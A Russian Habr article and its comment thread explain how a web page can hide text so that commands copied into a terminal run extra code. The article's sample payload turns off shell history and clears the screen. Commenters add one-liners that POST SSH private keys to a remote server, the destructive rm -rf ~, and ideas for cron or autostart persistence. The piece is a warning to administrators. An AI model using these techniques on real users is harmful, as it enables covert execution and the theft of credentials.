Атака на пользователей Linux или как собрать ботнет руками админов

    Для чистоты эксперимента предлагаю перейти по ссылке и выполнить по указанной инструкции «установку полезных пакетов». Инструкция для владельцев Ubuntu.

    По ссылке всего лишь «демонстрация» данного вида атаки, но в любом случае данные действия лучше производить на полигоне виртуалке.

    Ниже описание того, что случилось, в том случае, если вы не поленились произвести указанные выше действия.

    Небольшое предисловие: часто бывает что работая с мануалами по настройке сервера лень вписывать все команды вручную, особенно длинные. Так же большинство приложений для работы в консоле игнорируют вставку перевода строки и просто моментально выполняют код.
    Что если при копировании на странице кода подменить его таким образом, что бы при вставке в консоль — автоматически исполнились нужные команды и нюанс составляет только то, каким образом скрыть от глаз пользователя плохой код.

    В итоге пришла такая мысль:
    1. Просим пользователя повысить привилегии до рута, что как бы вполне логично, учитывая дальнейшую установку пакетов.
    2. Пишем длинную команду, заставляя тем самым пользователя скопировать (именно скопировать а не ввести код руками).
    3. При копировании — буфер обмена подменяется связкой нужных для проведения атаки команд. А именно:
    set +o history && echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh && printf "\033c" && set -o history
    sudo su
    apt-get update && apt-get install mc && apt-get install vim && apt-get install htop && apt-get install man
    


    Разбор первой строки:
    1. Отключаем историю введенных команд
    set +o history
    

    2. Собственно создание и исполнение вредоносного кода
    echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh
    

    3. Очистка консольного экрана (можно и clear)
    printf "\033c"
    

    4. Включаем обратно историю
    set -o history
    


    Вторая строка — запись в историю введенной раньше команды.
    И собственно код полезной нагрузки.
    В итоге (зависит от используемой консоли), при вставке скопированного кода непосредственно в консоль — выполнятся нежелательные команды, которые не отобразятся в истории и на экране.

    Если все прошло как надо — по адресу /tmp/test.sh будет находится «зловред», который в момент вставки кода в консоль успешно выполнился.

    В общем, используйте терминалы которые предупреждают о вставке кода с переводами строк и не вставляйте бездумно код с непроверенных источников. Для Windows есть ConEmu, который предупреждает о вставке подобного кода.

    P.S Приведенный выше пример — всего лишь мои догадки о возможной проблеме. На практике с таким не сталкивался.
    Статья написана только с целью предостеречь пользователей о таком, вполне возможном векторе атаки.


    UPD. Спасибо ValdikSS за наводку thejh.net/misc/website-terminal-copy-paste. Обновил пример.

    Хотелось бы так же услышать мнение пользователей, на сколько реальная угроза на практике. И заметили ли вы выполнение кода после вставки скопированной команды в консоль.
    Заметили ли вы выполнение «вредоносного» кода после вставки команды в консоль?

    Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

    Метки:
    Поделиться публикацией
    Реклама помогает поддерживать и развивать наши сервисы

    Подробнее
    Реклама
    Комментарии 111
    • +12
      Кто же под убунтой копирует текст из браузера в терминал, если можно просто выделить и средней кнопкой мыши в нём нажать!

      А по сабжу — банально нужно смотреть, что ты пишешь в консоль, если в какой-то статье будет «Введите в консоль sudo rm -rf ~ чтобы установить GTA5» это тоже угроза безопасности?
      • +4
        1. Не все используют такой метод вставки команд, к тому же многие админят сервер из-под винды используя тот же PuTTY.
        2. Тут история в том — что ты как раз смотришь что копируешь, только скопированный текст будет отличатся от ожидаемого.
        • 0
          Должно работать с администраторами, которые сидят в Windows и копируют команды из браузера в терминал putty.
          Меня насторожило, что после выделения текста мышкой и выбора Copy из контекстного меню выделение пропало, обычно оно остаётся. Браузер Firefox.
          • 0
            Сделал подмену стиля выделения. Да, действительно в Firefox не сработало. В хроме все ок.
            • 0
              FF Developer Edition — выделение не пропадает.
              • 0
                Я так понял, что пример обновили по совету ValdikSS, вот и не пропадает уже.
            • 0
              удалено
              • +2
                Средней кнопкой то же самое, кстати.
                • +8
                  Будучи только начинающим пользователем linux и ещё не зная всех команд я выполнил по чьему то гениальному совету с форума команду
                  rm -rf ~
                  что сбросить настройки compiz в значения по умолчанию. Совет конечно подействовал и настройки compiz реально сбросились, но это было хороший урок по восстановлению 6Гб фоток
                  • +5
                    Патч Бримана это классика. Вроде как стыдно признаваться в том что попался. Но мне как-то не стыдно.
                    Я в свое время попался. Под рутом естественно.
                    И были не гифки а полноценный сервер на котором крутилась мини-атс с биллингом, ну и роутером работала потому что основная нагрузка на сеть была именно на атс.
                    Попался я потому, что в аську мне ее кинул мой хороший знакомый админ которому я доверял гораздо большие вещи чем сервер.
                    А он так пошутил потому что был уверен, что я более опытный чем на самом деле, и пойму шутку, а не буду ее выполнять.
                    В принципе его понять можно, потому что опыт программирования у меня к тому времени был большой, я даже как-то кем-то командовать успевал, сервак в значительной мере сам перед этим поднял, по крайней мере телефонный софт собирал сам, железо для АТС настраивал сам, биллинг писал сам. А вот патч Бримана выполнил).
                    Но сейчас это хорошее воспоминание.
                    1 — меня еще в школе научили как обращаться с оружием, и я не могу сделать над собой усилие в тире, пластмассовыми пульками стрелять по мишеням, если в другой стороне, совсем-совсем сбоку, но на линии огня находится человек. Но вот то, что с кодом нужно так-же само, и нельзя надеяться на какие-то умолчания типа как тут «он же умный» — это я понял только в этой истории.
                    2 — был интересный, чисто теоретический опыт, что после полной очистки файловой системы сервер продолжал работать. Не всё, но основные функции да.
                    3 — эпичный для меня опыт воскрешения сервера в короткие сроки, когда мы с тем самым админом в четыре руки работали на горячем сервере. Тогда основной функционал восстановили часа за два. Потом упал основной канал интернета. В те годы резервом у нас был… диалап на ISA-шном модеме. Подняли канал на 28.8к. Я поигрался с кодеками. дальше картина: я лежу под столом на физической консоли воскрешаю целостность биллинга. Админ через putty качает какие-то пакеты, что-то обновляет и приводит в рабочее состояние. Качает. Звонок клиента. Коннект, всё ок. Второй звонок. Скорость скачивания упала в ноль. Но что-то качается. Админ даже что-то серфит. Всё это напомню на 28.8кбит. Потом этих клиентов опрашивали — сказали что связь была препоршивая, хотя разговаривать было возможно, но некомфортно, поэтому они поговорили коротко и отложили на потом.

                    Но это сейчас, когда от фирмы уже не осталось ничего кроме горсти железа на чердаке… Сейчас забавно вспоминать. Тогда обидно было :)
              • +7
                Забавно. Кстати, строка подменяется только если использовать буфер по Ctrl+C. А вот копирование-вставка через выделение и третью кнопку мыши работает, хотя именно он обычно используется активнее всего.
                • +6
                  Обновил пример. Теперь копипаст через «третью кнопку мыши» сработает, + не нужен JS.
                  • +1
                    Есть кстати еще один коварный момент. Если вставлять в конец дополнительный перенос строки, то при втыкании буфера в терминал, команда уже выполнится к тому моменту, когда незадачливый пользователь ее прочитает.
                    • +4
                      Собственно это и должно произойти. apt-get update тоже не спроста добавлен именно в данный кусок кода. Он выполняется сразу за вредоносом и должен замести следы длинным выводом.
                      • 0
                        А бы сделал сначала apt-get update, затем зловред и затем установку. Потому что например у меня, после apt-get update проходит значительное время всего с одной строкой чтения базы данных.
                      • +2
                        Для этого в продвинутых эмуляторах, например, ConEmu существует диалог подтверждения выполнения если вставлен перевод строки. Думаю в этих ваших линуксах тоже должно подобное быть.
                      • –10
                        У меня таки не срабатывает, потому что не bash, а fish, который в эти ваши && не понимает
                        • +18
                          О, а вот и любители sh-несовместимых шеллов подоспели)
                          • –5
                            Вы так говорите, как будто это что-то плохое
                    • 0
                      Ваш вариант не работает со вторым буффером, но только с ctrl+c/ctrl+v.
                      • 0
                        Ещё бывают варианты с длинными строками в середине инструкции, который принципиально не отличается.
                        • 0
                          несколько лет назад была подобная статья, с тех пор подозрительные копи/пасты через блокнот проверяю.
                          И, кстати, не сработало т.к. Firefox+NoScript
                          • +9
                            Ваш вариант не очень хороший.
                            thejh.net/misc/website-terminal-copy-paste — вот этот не только работает с выделением и вставкой третьей кнопкой мыши, но и не теряет выделения при нажатии CTRL+C.
                            • +1
                              Спасибо, интересное решение. В данном случае код скопируется даже при отключенном js.
                            • +17
                              Не знаю. Возможно это влияние естественного отбора имени Gentoo, но я никогда не копипащу команды с сайтов.
                              Сначала знакомплюсь с принципиальным смыслом статьи и, читая до конца вникаю в суть происходящего. Потом в консоли руками пишу нужные команды. Длинные команды вообще никогда некопипащу. Не знаю по какой причине.

                              Кстати, то, что вы показали — ничто по сравнению с относительно довольно популярным в среде любителей «не думать, мы же не на экзамене»
                              curl -sL <url> | sudo sh
                              

                              и его вариации (например brew.sh/linuxbrew )
                              • –2
                                Окей-окей, а что будет если:
                                1. скопировать
                                2. открываем редактор комманд
                                EDITOR=vim fc
                                3. пастим
                                :+
                                4. ???
                                5. PROFIT

                                Вопрос: на п.3 можно пропихнуть vim'у escape-sequence Esc-:q!\n?
                                • 0
                                  Зачем так сложно? Можно же тупо в конец конфига дописать перенаправлением >>.
                                  • 0
                                    Прикол не в этом. Прикол в том, что если послать правильный escape-sequence, то можно выйти из любого редактора и всё равно выполнить что угодно. Пока проверить не дошли руки, но…
                                    • 0
                                      А не проще добавить в пользователей нужного пользователя с высокими правами, прописать его в sudoers и прислать на почту ip / логин / пароль?
                                      • 0
                                        Попробовал: толи у меня руки кривые, толи fc — валидная защита — не сработало.
                                • 0
                                  Возможно я не буду полностью прав.
                                  Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.
                                  Я сегодня словил себя за этим, когда изучал команды для поднятия L2TP на Mikrotik, хотя их использовать вовсе.
                                  Может стоит провести социальный эксперимент, который пакажет насколько это правда?
                                  • +9
                                    Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.

                                    А Вы наивный. IT-специалисты быть может и читают. Но далеко не все админы — IT-специалисты.
                                  • +2
                                    Оба примера не работают, если выделять тройным кликом (я так делаю в случае длинных строк) — происходит выделение части строки, что может (и должно) вызвать подозрение
                                    • 0
                                      FF — тройной клик отлично сработал, проблема в хроме.
                                      • +6
                                        Или не проблема :) Смотря как относиться к этому.
                                    • 0
                                      deleted
                                      • 0
                                        hotfix: перед вставкой кода напечатать ( или `.
                                        • +6
                                          Вообще терпеть не могу, когда сайты без спроса или скриптами меняют твой буфер обмена, причем браузер даже не пискнет! Если надо что-то скопировать — то я сам выделю то, что МНЕ надо и всё.

                                          Негодую и выражаю пожелание разработчикам браузеров что-то придумать с этим
                                          • 0
                                            Если рассмотреть пример, то чисто технически — никакой подмены нет. Посмотрите исходный код. Вредоносный код присутствует в тексте, просто резко смещён за пределы экрана, при этом физически находясь на месте первого пробела. Если самостоятельно выделить первый пробел вы получите вредоносный текст. И это будет не подстановка — опять же технически вы сами его выделили и скопировали.
                                            • 0
                                              Зависит от реализации. Первый вариант был с подменой на js — код подменялся в момент копирования. + в сss делалась подмена стиля выделения что бы не пропадало выделение после копирования.
                                          • +4
                                            Поэтому я сначала вставляю в текстовый редактор, а уже потом оттуда копирую если всё нормально на выполнение. И это только после проверки содержимого.
                                            • 0
                                              Можно ещё на много невидимых редактором пробелов попасться, если wrap отключён (например, таких, которые редакторами не считаются whitespace-ами, но в терминале работают как пробел).
                                            • +12
                                              Fucking amazing. Пошёл репортить в багтрекер мозиллы.
                                              • 0
                                                Есть такая мысль, что перед вставкой проще вставлять 2 символа комментария строки. Я вот поймал себя на мысли, что уже 5 лет после того как где то накосячил делаю именно так. После чего видим весь код который вставлен и читаем уже его. Замечания, конечно, что могут быть 2 перевода строки уместны, но копи-паст нужен только на тестовых стендах. В продакшен идёт только отработанные технологии.
                                                  • +1
                                                    А там уже duplicate и ссылка на https://bugzilla.mozilla.org/show_bug.cgi?id=504748 с RESOLVED WONTFIX…
                                                    Видимо не понимают, кому и зачем это нужно.

                                                    • +2
                                                      Я почитал оригинальный баг — суть в том, что «page developer can always create invisible text — with 0 size, spacing, etc» — и по этой причине закрыли, мол, экзестенциальное и нефиксируемое.
                                                    • –1
                                                      **дичайший оффтоп**
                                                      да ладно, охренеть, сёнен.ру? спасибо за счастливое онемедетство!
                                                    • +1
                                                      Код не сработал, не использую sudo и всегда копипасчу код, предварительно вставив #.
                                                      • +6
                                                        В конкретно этом примере вам нажмут «enter» и дадут другую команду на следующей строке. первая будет закомментирована, вторая выполнится.

                                                        Наличие пароля на sudo —


                                                        Я не уверен, что мой компьютер более ценен, чем мой $home.
                                                        • +1
                                                          Эшелонированная оборона важна в том числе и с целью восстановления после прорыва первых эшелонов.
                                                          Согласитесь, что компрометация рута увеличит масштаб и сроки ликвидации последствий компрометации почты, фейсбука и т.п.
                                                          Вредоносы могут сидеть где угодно, но на системном уровне их сложнее выловить.
                                                          Вспомнилась шутка:
                                                          https://pp.vk.me/c631619/v631619221/b6ba/fjgVxmtiOEc.jpg
                                                          • +2
                                                            Компрометация root'а (обнаруженная) — это 15 минут на переустановку, возможно, даже с сохранением списка паролей и наиболее ценных конфигов.

                                                            А вот компрометация home (ака спёртые пароли и ключи) — это катастрофа, последствия которой будут кусать несколько лет.
                                                            • 0
                                                              Компрометация рута, если достаточно времени — гарантированно приведет в компрометации ВСЕХ пользователей системы.
                                                              Вне зависимости от любых настроек. 15 минут на переустановку? А весь софт, все конфиги это всё заново пересобирать, перечитывать, это тоже в 15 минут уложится?
                                                              Единственное преимущество в случае взлома рута это то, что его проще обнаружить, и есть высокий шанс, что атакующего кикнут быстрее чем он наломает дров.
                                                              Понятно что есть куча вариантов сигнализации о подозрительной активности, в том числе и переопределение альясов шела, о котором уже упоминали в этом топике. Конечно есть бекапы, есть регулярный анализ логов и т.п. Но в чистом виде компрометация рута опаснее.
                                                              • +1
                                                                На домашней системе — ну сколько там системных конфигов-то? Я вот подумал-подумал, в моих домашних условиях — ну несколько mount'ов, настройки lightdm, да судо — и всё.

                                                                Тут надо рассматривать два вектора атаки: на сервер и на рабочую станцию админа.

                                                                На сервер: root — решает всё. Время восстановления обнаруженного компрометированного сервера — десятки минут (система управления конфигурациями, раскатывает всё с нуля). Ущерб — потенциальный ботнет и утечка данных с этого конкретного сервера. В 99% случаев ничего критического, максимум пара-тройка паролей к БД (которые быстро меняются и автоматически же раскатываются по остальным участникам процесса). Креденшалов сам сервер никаких не имеет, обычно всё по ключам, от которых у сервера нет приватных частей.

                                                                На рабочую станцию: рут не играет ощутимой роли, компрометация (кража) креденшалов — катастрофа неясного масштаба, так как есть множество аккаунтов, информация о топологии сети и настройки доступа к многим частям сети.

                                                                Пожалуй, я начну с большим уважением смотреть на аппаратный токен к VPN'у — его-то точно копипастом не сопрёшь.
                                                          • 0
                                                            Ну значит помимо # возьму на вооружение и копирование через блокнот.

                                                            А про пароль на sudo и вообще отсутствие sudo я к слову сказал. Тут я с Вами согласен, что на рабочей машине /home/ важнее всего остального.
                                                        • +1
                                                          С недавних пор почему-то вставляю команды через блокнот/gedit. В основном дабы оптимизировать/отредактировать под себя. А тут вон оно как…
                                                          • +2
                                                            В опросе не хватает опции. «Я всегда сначала копирую команды в текстовый редактор.» Соответственно, все трюки с буфером были замечены до того, как попали консоль.
                                                            • 0
                                                              Один из множества социальных хаков.
                                                              К счастью нежизнеспособен, т.к. раскрутка контента для получения трафика админов, которые будут копипастить это в консоль, будет намного дороже выхлопа от захваченного сервера (в среднем).
                                                              • +3
                                                                В среднем — да. Но вот у нас в компании есть люди, у которых есть рутовый/равный рутовому через sudo доступ на несколько десятков тысяч серверов. С исходящими каналами в несколько десятков терабит с нескольких континентов и просторными ipv4-сетями. Очевидно, что один такой аккаунт ценнее, чем несколько тысяч «рутов на своих vds'ках», или домашних пользователей с adsl'ками.

                                                                А ещё бывают сетевые администраторы. Или даже бэкоффис админы, которые имеют админский/рутовый доступ на компьютеры/сервера бухгалтерии, где тот или иной уровень к деньгам.

                                                                А если подумать про админов платёжных систем, разработчиков ПО для банкоматов и их maintanance-команды…

                                                                Короче, это атака не на «широкие массы», зато с потенциально очень большой глубиной проникновения.

                                                                Потому что очевидное место, куда должен писаться скрипт (из примера) — не в /tmp/, а куда-нибудь в районе ~/.xinitrc, crontab, ~/.config/autostart/, ~/.config/autostart-scripts, etc.

                                                                После этого скрипт очень аккуратно пытается подключиться к командному центру и дать возможность для анализа ~/.ssh/config админа (вуаля, на моей домашней машине — 163 строки, сколько на рабочем ноутбуке даже лениво считать, и половина из этого — с '*' в имени — то есть число машин очень обширно), и, можно сказать, deep penetration выполнен. Дальше нужно аккуратно стырить ssh-ключи с машины и проснифать пароли. (А рядом лежит gpg ключик, которому доверяют несколько роботов — он плюс пароль от него — ещё кусочек хаккерского счастья).

                                                                Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.
                                                                • –3
                                                                  Вы вообще ничего не понимаете.
                                                                  Никто не анализирует взломанный сервер вручную. Это дебильое занятие и потеря времени.
                                                                  Если цель — именно эта компания и именно этот сервер — взламывать его через привлечение админа на ресурс и подсовывание ему комманд шлла никто не будет, вероятность — 0.

                                                                  1. метод не массовый;
                                                                  2. метод не подходит для таргетированного взлома;
                                                                  3. практической пользы 0;

                                                                  Почему вы решили, что ваши широкие ип4 адреса или каналы имеют какую-то ценность для хака? Вы считаете, что достаточно получить доступ к серваку и толстым каналом, хоть на час — и деньги сами потекут в руки?
                                                                  • +5
                                                                    С учётом, что статья может быть нацелена на конкретную группу админов (например, «скрипт для автоматической балансировки маршрутов к AS между несколькими аплинками»), процент успешных попаданий будет очень высок.

                                                                    Для таргетированного взлома очень даже подходит — натырил ~/.ssh/config, id_rsa, наснифал пароли — и всё, готовый суперботнет из роутеров и серверов.

                                                                    Мои каналы точно представляют ценность — просто уточните на чёрном рынке, сколько стоит DoS-атака на 40000Гбит/с на час.
                                                                  • 0
                                                                    Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.


                                                                    Эко ж Вас приторкнуло. Атака баян баяном. Я о ней услышал лет пять назад как минимум. Уже тогда баяном была.
                                                                    Помимо копирования через блокнот, это надо быть очень сильно упоротым (а нефиг вообще что-то в терминале делать, если Вы упоротый), чтоб не заметить, что у вас взял и просто так экран очистился. Вообще хорошим тоном считается просматривать вывод команд, которые Вы ввели. А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.
                                                                    • +1
                                                                      А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.
                                                                      Как это спасёт от malicious_code(); echo -en "\r<a lot of spaces>\recho \"valid command\"\n"?
                                                                      • 0
                                                                        Это уже интереснее. Тут вроде только копирование через блокнот поможет. Но это никак не отменяет то, что «скрытое» копирование из броузера — баянище дремучее.
                                                                • 0
                                                                  Сразу вспомнилось:
                                                                  Я – Чукотский вирус. В связи с очень плохим развитием информационных технологий на моей родине, я не могу причинить вред вашему компьютеру.
                                                                  Пожалуйста, будьте любезны, сотрите самостоятельно несколько важных файлов с жесткого диска, а затем перешлите меня своим друзьям.

                                                                  Заранее благодарен.
                                                                  Чукотский вирус.
                                                                  • +2
                                                                    О эти блаженные времена, когда текст был пассивным…
                                                                    • –12
                                                                      Вот только родина — это страна. У Чукотки родиной будет — это Россия. Т.е. вы сказали:
                                                                      «В связи с очень плохим развитием информационных технологий в России, я не могу причинить вред вашему компьютеру.»
                                                                      А я бы не сказал, что всё очень плохо в России…
                                                                      • +5
                                                                        «Когда государству от тебя что-то надо, оно начинает называть себя родиной»
                                                                        • +6
                                                                          Госсподи, молодой человек, всюду Вам шпионы мерещатся.

                                                                          Никогда бы не подумал, что на Хабре найдутся люди, которым надо разъяснять анекдоты. Этот анекдот существует в миллионе разных вариаций — вирус был то нигерийский, то таиландский, то ещё какой — это в целом неважно; но его смысл в том, что «у <авторов вируса> программисты настолько никакие, что чем пытаться программу написать, проще вежливо попросить хозяина компа». А не в том, чтобы меряться пиписьками информационными технологиями.
                                                                          • –6
                                                                            Я в курсе, и тоже читал разные версии и смысл их понятен, просто версия про «нигерийский вирус» была веселее, чем шутка про Россию, которая в целом не соответствует действительности, и шутка таким образом не удалась.

                                                                            Это как сказать:
                                                                            «В связи с очень плохим развитием информационных технологий в [b]Соединенных Штатах Америки[/b], я не могу причинить вред вашему компьютеру. -Ваш АНБ.»
                                                                            Ну просто не смешно даже получается, я лишь про это имел ввиду. Неужели не понятно?
                                                                            • +6
                                                                              Почему бы и нет? Например «у нас в Канзасе очень плохо с компьютерами, есть только старая печатная машинка у учительницы Доротти...»
                                                                              • +1
                                                                                А Вы не можете представить себе ситуацию, что мне лень было вспоминать точный текст этого письма, я нагуглил фразу «пожалуйста сотрите несколько файлов», и что первое попалось, то и скопипейстил? Без единой задней мысли?

                                                                                В моё время патриоты с гранатами под танки бросались, а сейчас — с пеной у рта на анекдот. Тьфу.
                                                                        • 0
                                                                          Всегда веду файл инсталляции, в которой по порядку вношу все команды, которые собрался ввести и подправляю на свое усмотрение, и только потом топаю в консоль. Ну и бекапы, бекапы, бекапы!!!
                                                                          • +2
                                                                            Помимо удаления и порчи информации, к сожалению, существует ещё и её кража. Никто не мешает даже без root в скрипте выполнить:
                                                                            curl -X POST -d @$HOME/.ssh/id_rsa http://server/page
                                                                            
                                                                            ну или что посложнее.
                                                                            • +14
                                                                              Тут вспоминается старая шутка «UNIX — система, в которой не знаешь, как сегодня называется команда ls».

                                                                              И, кстати, в каждой шутке есть доля шутки. Помнится, лет 20 назад у нас в одной конторе на сервере команды ls, rm и т.д. были заменены скриптами, которые слали всем, кому положено, вопли о том, что «система зОхвачена врагами», а настоящие команды были переименованы во что-то другое, уже не помню что.

                                                                              (Ведь, как Вы понимаете, любой нормальный хакер, вломившись на сервер, первым делом «осматривается», и угадайте, какой командой...)
                                                                              • 0
                                                                                Вы сделали мой понедельник! Спасибо :)
                                                                                • +2
                                                                                  О, а вот за эту идею спасибо, самое то для параноика.
                                                                                  • +2
                                                                                    Интересно, сколько раз эту «сигналку» случайно срывали в похмельный понедельник или запарную пятницу? Вангую, недолго музыка играла.
                                                                                    • 0
                                                                                      Своевременно полученные трындюли (за ложную тревогу) замечательно способствуют выработке условного рефлекса.

                                                                                      (Следует также заметить, что никто не запрещал админам на домашних машинах сделать так же и тренироваться на кошках вырабатывать привычку в повседневной жизни.)

                                                                                      Кроме того, пищать начинало сначала у админов, поэтому в случае ложной тревоги спрашивалось «кто бросил валенок на пульт??» и распространение сигнала дальше отменялось.
                                                                                    • +1
                                                                                      После годов доса и команды dir, мне ls был так непривычен, что первым делом на ЛЮБОМ линуксе, я делаю себе алиас для ls и юзаю уже именно его.
                                                                                      • 0
                                                                                        Вот и я про то же: ну какой нормальный хакер сможет вообще догадаться, что на нашем сервере ls — это вовсе не ls, а скрипт «рятуйте, прихожане, нас взломали!» (тем более, что в конце он всё равно вызывает ls, чтобы не спугнуть взломщика)
                                                                                        • 0
                                                                                          В openSUSE он уже есть, выводит то же самое что и ls -l
                                                                                          Program 'dir' is present in package 'coreutils', which is installed on your system.
                                                                                          Absolute path to 'dir' is '/usr/bin/dir'. Please check your $PATH variable to see whether it contains the mentioned path.
                                                                                      • +1
                                                                                        Ну тогда уж
                                                                                        tar /tmp/cvfz ssh.tar.gz ~/.ssh/ ; curl -X POST -d @/tmp/ssh.tar.gz http://server/page
                                                                                        
                                                                                        • 0
                                                                                          Это уже мелочи :) Можно в крон хоть rsync прописать.
                                                                                      • +1
                                                                                        бекапы, бекапы, бекапы!!!
                                                                                        Частые ZFS snapshots спасут отца русской демократии.
                                                                                      • 0
                                                                                        Давненько про такой же способ читал здесь же, на хабре. После этого взял за привычку копипастить сначала полный перечень в блокнот, а потом уже оттуда в консоль. Если вижу что-то подобное — сайт в бан.
                                                                                        • +1
                                                                                          Большинство новостных сайтов при копировании текста с них дописывают в конец что-то типа «Подробнее на newssite.ololo» и это вполне нормальная практика. Когда незадачливый копипастер невнимательно вставляет информацию на свою страничку или в форум, он делает источнику дополнительную рекламу.
                                                                                        • 0
                                                                                          Oh-my-zsh
                                                                                          Установка:
                                                                                          sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
                                                                                          


                                                                                          На выходе в последующем он предлагает обновляться. Создаем нужный продукт, а в нужный момент просто подсовываем обновление.
                                                                                          Вот тут действительно большое количество пользователей линукс даже не заметят подвоха.
                                                                                          • 0
                                                                                            Интересная штука получается, впредь буду внимательнее относиться к сетевым мануалам/форумам/HowTo и посмотрю в сторону NoScript. За описание спасибо.
                                                                                            • +2
                                                                                              NoScript не спасет
                                                                                              • 0
                                                                                                NoScript не спасает, хотя очень полезная штука. Технически немного некорректно описано, не «буфер обмена подменяется», а «выделением захватывается невидимый глазом кусок текста».
                                                                                              • 0
                                                                                                Не сработало, т.к. уж не знаю почему(вернее знаю, мне лет десять назад javascript-ом подсунули патч брамина), но для копипасты команд привык использовать lynx/links, а оно болт ложит на всякие хтмл5/цсс/жабаскрипт/фонтсайз=0.
                                                                                                • 0
                                                                                                  Ага, ага, особенно с сайтов, которые контент без js'а показать не могут.
                                                                                                  • 0
                                                                                                    Ну вот хз, пока не встречал такого(при копипасте). А копировать что-то с сайта, который кроме мануала ещё предлагает увеличить член, узнать, что за кровавое месиво было на евровидении и узнать как сделать так, чтобы машина кушала 1л бензина, брр, спасибо, у меня доверия к таким сайтам просто нет.
                                                                                                    • +1
                                                                                                      Зато есть доверие к умному бложику про настройку foo c поддержкой BarSQL. Более того, если бы я был автором злого червя, то я бы написал саморазмножающегося червя, использующего креденшалы взломанного пользователя для замены во всех постах во всех социальных сетях и бложиках unix-команд на сниппет, который выполняет оригинальную команду и запускает червя.
                                                                                                      • 0
                                                                                                        Если в хау-ту с умного бложика виднеются странные комманды со скачиванием файлов фигзнает откуда и запуска скачанного и прочие странности без внятного объяснения — то это хауту идет в дупу бодрым шагом и ищется другое по настройке foo с поддержкой blackjack и прочих sql. Задача в том, чтобы посмотреть глазом, понять что оно этим делает, и далее для ускорения отупения это дело скопипастить. Если такого хауту не находится, то быдлохауту изучается подробно и исправляется, либо становится ясным, что быстрое развертнывание накрылось медным тазом.
                                                                                                        П.С. В продакшене оное я естественно применять не стану, предварительно едным тазом и пора курить мануалы.
                                                                                                        П.П.С. А вот что будет если какая-то «добрая» душа ломанёт офф. сайт дистрибутива с документацией и навставляет туда скрытых приколов? От такого вариант просмотра через тупой браузер очень даже поможет.
                                                                                                        • +1
                                                                                                          Виднеется? См пример в посте. В том-то и дело, что не виднеется.

                                                                                                          Я серьёзно. Просто попробуйте перейти по ссылке и посмотреть на то, что написано на странице.
                                                                                                          • 0
                                                                                                            Ну перешел, и чего я там должен был пропустить?
                                                                                                            Или вы забыли, с чего начался наш с вами диалог?
                                                                                                            http://s019.radikal.ru/i632/1601/f5/2f50254ae552.png
                                                                                                  • +1
                                                                                                    Патч Бармина же.
                                                                                                    lurkmore.to/_/3454#mws_lKNAJDi
                                                                                                  • +1
                                                                                                    Не далее как месяц назад похожим образом был подломлен один лабаз, торгующий за биткойны. В буфер, перед актуальным кошельком получателя, из хидден спана прилетал адрес кошелька кулхакира, и в поле ввода адреса получателя вставлялся именно он. Просто и изящно.
                                                                                                    • 0
                                                                                                      От этой «атаки» текстовый редактор спасает, через него делаю обычно.
                                                                                                      Но если сайт с инструкцией которую нагуглил админ подконтролен хакеру, то можно и тоньше сработать, так что блокнот не поможет.

                                                                                                      Хакер может сдалать свой «неофициальный репозитарий», каких тысячи, и в командах указать его добавление в источкники и установку из него.
                                                                                                      Аналогично просто свои .rpm, .deb итп.

                                                                                                      И оттуда может и искомый софт ставится, паралельно с установкой трояна, для того чтобы админ успешно протестировав решение с чистой совестью залил трояна на продакшен.

                                                                                                      Против этого — только выгугливать сайты с которых читаешь инструкции.
                                                                                                      А если это был только что скомпрометированный сайт, то и вообще никак.
                                                                                                      Из официальных репозиториев то то и дело что то недоступно к установке, и админ бродит по просторам ищет решение.
                                                                                                      • +1
                                                                                                        Есть тонкая разница между «доверьтесь этому ключу» и «вот эта безобидная команда посчитатет вам foo по bar». Глазами видно, что ничего страшного нет (и не echo test tes test, разумеется), а просто математика в цикле у for, например. А внутрях у неё (в копипасте) — добавление job'ы в crontab.
                                                                                                      • 0
                                                                                                        Скопировал, вставил в блокнот. Что сказать, неплохо, попасться можно. С другой стороны, вряд ли кто-то так делает и вряд ли 1% от 1% от всех десктопных юзеров составят серьёзный ботнет. Но идея годная, хотя бы для троллинга. Знать такое – обязательно!
                                                                                                        • 0
                                                                                                          Так и не понял. Зловредный код выполняется до судо. В чем тайный смысл?
                                                                                                          • 0
                                                                                                            Наверное, в доступе к тому что не требует рута
                                                                                                            • 0
                                                                                                              Первый пункт в примере «Входим под супер пользователем:
                                                                                                              sudo su
                                                                                                              Дальше весь код выполняется под рутом»
                                                                                                              • +2
                                                                                                                Даже без судо от зловредного кода ничего хорошего если он выполнится на пользовательской тачке.
                                                                                                                • +3
                                                                                                                  Тайный смысл в том, что социальная инженерия имеет такой инструмент, которым при должном использовании можно очень даже широко воспользоваться
                                                                                                                • 0
                                                                                                                  Очистка экрана не сработала — оно просто проскролило строку вверх экрана. Я после каждой команды скроллю вверх и смотрю, что выполнилось.
                                                                                                                  iTerm2.

                                                                                                                  Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.